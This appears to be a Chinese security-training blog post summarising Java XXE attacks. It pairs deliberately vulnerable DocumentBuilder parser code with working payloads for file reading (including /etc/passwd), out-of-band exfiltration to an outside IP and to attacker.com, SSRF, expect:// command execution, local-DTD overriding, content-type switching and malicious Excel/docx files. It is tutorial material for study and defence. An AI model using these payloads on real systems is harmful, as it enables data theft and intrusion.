JAVA XXE 学习总结

科技   2025-01-06 12:02   江西  

扫码领资料

获网安教程


本文由掌控安全学院 -  yusi 投稿

Track安全社区投稿~  

千元稿费!还有保底奖励~(https://bbs.zkaq.cn)

JAVA XXE 学习总结

XML 基础

XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。

<!--XML申明--><?xml version="1.0"?> <!--文档类型定义--><!DOCTYPE note [ <!--定义此文档是 note 类型的文档--><!ELEMENT note (to,from,heading,body)> <!--定义note元素有四个元素--><!ELEMENT to (#PCDATA)> <!--定义to元素为”#PCDATA”类型--><!ELEMENT from (#PCDATA)> <!--定义from元素为”#PCDATA”类型--><!ELEMENT head (#PCDATA)> <!--定义head元素为”#PCDATA”类型--><!ELEMENT body (#PCDATA)> <!--定义body元素为”#PCDATA”类型-->]><!--文档元素--><note><to>Dave</to><from>Tom</from><head>Reminder</head><body>You are a good man</body></note>

xxe漏洞只与DTD文档类型定义有关,下面开始只需要关注DTD即可。

DTD

DTD 用于定义 XML 文档格式的一种规范,它声明了 XML 文档中允许的元素、属性、层级结构,确保 XML 文档格式正确性。

DTD 又分为外部 DTD 和内部 DTD,

    内部 DTD:直接嵌套在 XML 文档内部。
    外部 DTD:储存在单独文档中,通过声明引用。

内部 DTD demo
<?xml version="1.0"?><!DOCTYPE note [ <!ELEMENT note (to, from, heading, body)> <!ELEMENT to (#PCDATA)> <!ELEMENT from (#PCDATA)> <!ELEMENT heading (#PCDATA)> <!ELEMENT body (#PCDATA)>]><note> <to>John</to> <from>Jane</from> <heading>Reminder</heading> <body>Don't forget our meeting at 3 PM!</body></note>
外部 DTD demo
<!ELEMENT note (to, from, heading, body)><!ELEMENT to (#PCDATA)><!ELEMENT from (#PCDATA)><!ELEMENT heading (#PCDATA)><!ELEMENT body (#PCDATA)>
通过文档声明引用,
<?xml version="1.0"?><!DOCTYPE note SYSTEM "note.dtd"><note> <to>John</to> <from>Jane</from> <heading>Reminder</heading> <body>Don't forget our meeting at 3 PM!</body></note>
java 中的 xxe 漏洞主要出现在外部 DTD 中。接下来主要只关注外部 DTD。
因为引用外部 DTD 可以使用 SYSTEM 或 PUBLIC 标志符,语法和含义不同,不过都可以在XXE攻击中使用。
SYSTEM 定义
<!DOCTYPE name SYSTEM "address.dtd" [...]>
system 属性可以是 dtd 也可以是 url 链接,
PUBLIC 定义
<!DOCTYPE name PUBLIC "any text" "http://evil.com/evil.dtd">

XXE 原理介绍

XXE 全称是XML External Entity Injection,这里的 entity(实体) 就是 DTD body 中的一部分,然后这个 entity 也可以跟进位置分为 internal entity/external entity,
一般使用的就是外部实体,实列
<!ENTITY name SYSTEM "URI/URL">
实体还可以分为参数实体,其可以通过 % 或 & 进行引用,正是因为这些条件才使得我们能够进行实体注入。

XXE 攻击

不同平台支持的 xxe 协议
libxml2
PHP
Java
.NET
file
file
file
file
http
http
https
http
ftp
ftp
ftp
https

php
file
ftp

compress.zlib
jar


compress.bzip2
netdoc


data
mailto


glob
gopher*


phar


任意文件读取

DOMXML
package org.example; import javax.xml.parsers.DocumentBuilder; import javax.xml.parsers.DocumentBuilderFactory; import org.w3c.dom.Document; public class DOMXML { public static void main(String[] args) { try { DocumentBuilderFactory documentBuilderFactory = DocumentBuilderFactory.newInstance(); DocumentBuilder documentBuilder = documentBuilderFactory.newDocumentBuilder(); Document document = documentBuilder.parse("D:\\JavaLearn\\test\\src\\main\\java\\test.xml"); String textContent = document.getDocumentElement().getTextContent(); System.out.println(textContent); } catch (Exception e) { e.printStackTrace(); } } }
test.xml
<?xml version="1.0" encoding="UTF-8" ?> <!DOCTYPE file [ <!ENTITY xxe SYSTEM "file://D:/JavaLearn/test/src/main/java/flag.txt"> ]> <root>&xxe;</root>
java 中 file 协议还有列目录的功能(php 中则不行)
<?xml version="1.0" encoding="UTF-8" ?> <!DOCTYPE file [ <!ENTITY xxe SYSTEM "file://D:/JavaLearn/test/src/main/java/"> ]> <root>&xxe;</root>
img
netdoc 协议和 file 协议功能一样

OOB XXE

用于没有回显进行外带数据,
DOMXML
package org.example; import javax.xml.parsers.DocumentBuilder; import javax.xml.parsers.DocumentBuilderFactory; import org.w3c.dom.Document; public class DOMXML { public static void main(String[] args) { try { DocumentBuilderFactory documentBuilderFactory = DocumentBuilderFactory.newInstance(); DocumentBuilder documentBuilder = documentBuilderFactory.newDocumentBuilder(); Document document = documentBuilder.parse("D:\\JavaLearn\\test\\src\\main\\java\\test.xml"); String textContent = document.getDocumentElement().getTextContent(); System.out.println(textContent); } catch (Exception e) { e.printStackTrace(); } } }
test.dtd
<!ENTITY % file SYSTEM "./flag.txt"> <!ENTITY % define_http "<!ENTITY % send_http SYSTEM 'http://106.53.212.184:6666/%file;'>">
test.xml
<?xml version="1.0" encoding="utf-8" ?> <!DOCTYPE xdsec[ <!ENTITY % include SYSTEM "./test.dtd" > %include; %define_http;%send_http; ]> <books></books>
这里最关键的是 dtd 中的第二句话,只有这样才能成功解析到 %file 内容,% 就是%的实体编码,防止冲突报错,而且只有外部 dtd 文件才允许实体里面套实体
<!ENTITY % define_http "<!ENTITY % send_http SYSTEM 'http://106.53.212.184:6666/%file;'>">
或者
<!ENTITY % define_http "<!ENTITY send_http SYSTEM 'http://106.53.212.184:6666/%file;'>">%define_http;然后利用&send_http;去引用
img

SSRF

可以探测内网端口或主机存活情况,同样可以用于 dnslog 验证。
<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE xxe [<!ENTITY url SYSTEM "http://192.168.116.1:90/" >]><xxe>&url;</xxe>

RCE

expect:// 是一些配置不当导致的命令执行协议,如果目标内部的PHP环境中安装了expect扩展,并且该扩展被加载到了处理XML的内部应用程序上,就可以利用expect来执行系统命令。
Expect扩展是一个用于自动化交互的套件,它可以在执行命令和程序时,模拟用户输入指定的字符串,以实现交互通信。如果能够成功利用这个扩展。
<?xml version="1.0" encoding="utf-8" ?> <!DOCTYPE xxe [ <!ENTITY url SYSTEM "expect://whoami" > ]> <xxe>&url;</xxe>

基于报错回显

感觉利用面不是很大,一般 java 的报错是看不到的,有点像 python 的报错回显,需要特定条件才行。
test.xml
<?xml version="1.0" ?><!DOCTYPE message [ <!ENTITY % ext SYSTEM "http://attacker.com/test.dtd"> %ext;]><message></message>
test.dtd
<!ENTITY % file SYSTEM "./flag.txt"><!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///abcxyz/%file;'>">%eval;%error;
img

利用本地 DTD 来利用盲目 XXE

看了上面的 oob xxe 已经知道内部 dtd 不允许直接把实体放入另一个实体中,这种操作只有在外部实体中才不会报错。但又需要这样才能二次解析获得 %file 的内容。
那么如果存在防火墙,不允许直接引入 http://example/test.dtd 又该怎么办呢,参考 Arseniy Sharoglazov 师傅的文章可以知道还可以利用本地 dtd 进行覆盖攻击。
比如本地存在 test.dtd:
<!ENTITY % condition "and | or | not | equal | contains | exists | subdomain-of"><!ELEMENT pattern (%condition;)>
那么可以构建 payload
<?xml version="1.0" ?><!DOCTYPE message [ <!ENTITY % local_dtd SYSTEM "file://test.dtd"> <!ENTITY % condition 'aaa)> <!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>"> %eval; %error; <!ELEMENT aa (bb'> %local_dtd;]><message>any text</message>
重新定义了 condition 参数的值会进行覆盖
'aaa)><!ENTITY % file SYSTEM "file:///etc/passwd"><!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>">%eval;%error;<!ELEMENT aa (bb'
类比原本的 dtd 变为
<!ENTITY % condition "aaa)><!ENTITY % file SYSTEM "file:///etc/passwd"><!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>">%eval;%error;<!ELEMENT aa (bb"><!ELEMENT pattern (aaa)><!ENTITY % file SYSTEM "file:///etc/passwd"><!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>">%eval;%error;<!ELEMENT aa (bb)>
这样也能成功实现 xxe 报错回显,至于本地的 dtd 文件就搜集一些默认路径的进行爆破得到。
img
参考:https://mohemiv.com/all/exploiting-xxe-with-local-dtd-files/

通过修改内容类型进行 XXE 攻击

正常的 post 请求
POST /action HTTP/1.0Content-Type: application/x-www-form-urlencodedContent-Length: 7
foo=bar
有些网站也支持 xml 格式,如 SOAP 协议网站,那么就可以等同于
POST /action HTTP/1.0Content-Type: application/xmlContent-Length: 52
<?xml version="1.0" encoding="UTF-8"?><foo>bar</foo>
如果存在就可以进行 xxe 攻击
POST /action HTTP/1.1 Content-Type: application/xml Content-Length: 288
<?xml version="1.0" encoding="UTF-8" ?> <!DOCTYPE netspi [<!ENTITY xxe SYSTEM "file:///etc/passwd" >]><root></root><search>name</search><value>&xxe;</value> </root>

Excel文件导致XXE

excel 文件本质就是 XML 文档的 zip 文件,这里创建一个 docx 文件然后进行解压
img
看到是存在 xml 文件,并且也是会用 xml 解析器进行解析的。然后将其中的内容替换为 xxe 注入代码即可
<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE xxe [<!ENTITY url SYSTEM "http://DNSLOG/" >]><xxe>&url;</xxe>
当然这种是只有老版本的 xml 解析器才会有的洞了。
参考:https://xz.aliyun.com/t/14670
参考:https://forum.butian.net/share/2573
参考:https://www.cnblogs.com/LittleHann/p/17776458.html

申明:本公众号所分享内容仅用于网络安全技术讨论,切勿用于违法途径,

所有渗透都需获取授权,违者后果自行承担,与本号及作者无关,请谨记守法.


没看够~?欢迎关注!

分享本文到朋友圈,可以凭截图找老师领取

上千教程+工具+靶场账号

 分享后扫码加我


回顾往期内容

Xray挂机刷漏洞

零基础学黑客,该怎么学?

网络安全人员必考的几本证书!

文库|内网神器cs4.0使用说明书

代码审计 | 这个CNVD证书拿的有点轻松

【精选】SRC快速入门+上分小秘籍+实战指南

    代理池工具撰写 | 只有无尽的跳转,没有封禁的IP!

点赞+在看支持一下吧~感谢看官老爷~ 

你的点赞是我更新的动力


掌控安全EDU
安全教程\x5c高质量文章\x5c面试经验分享,尽在#掌控安全EDU#
 最新文章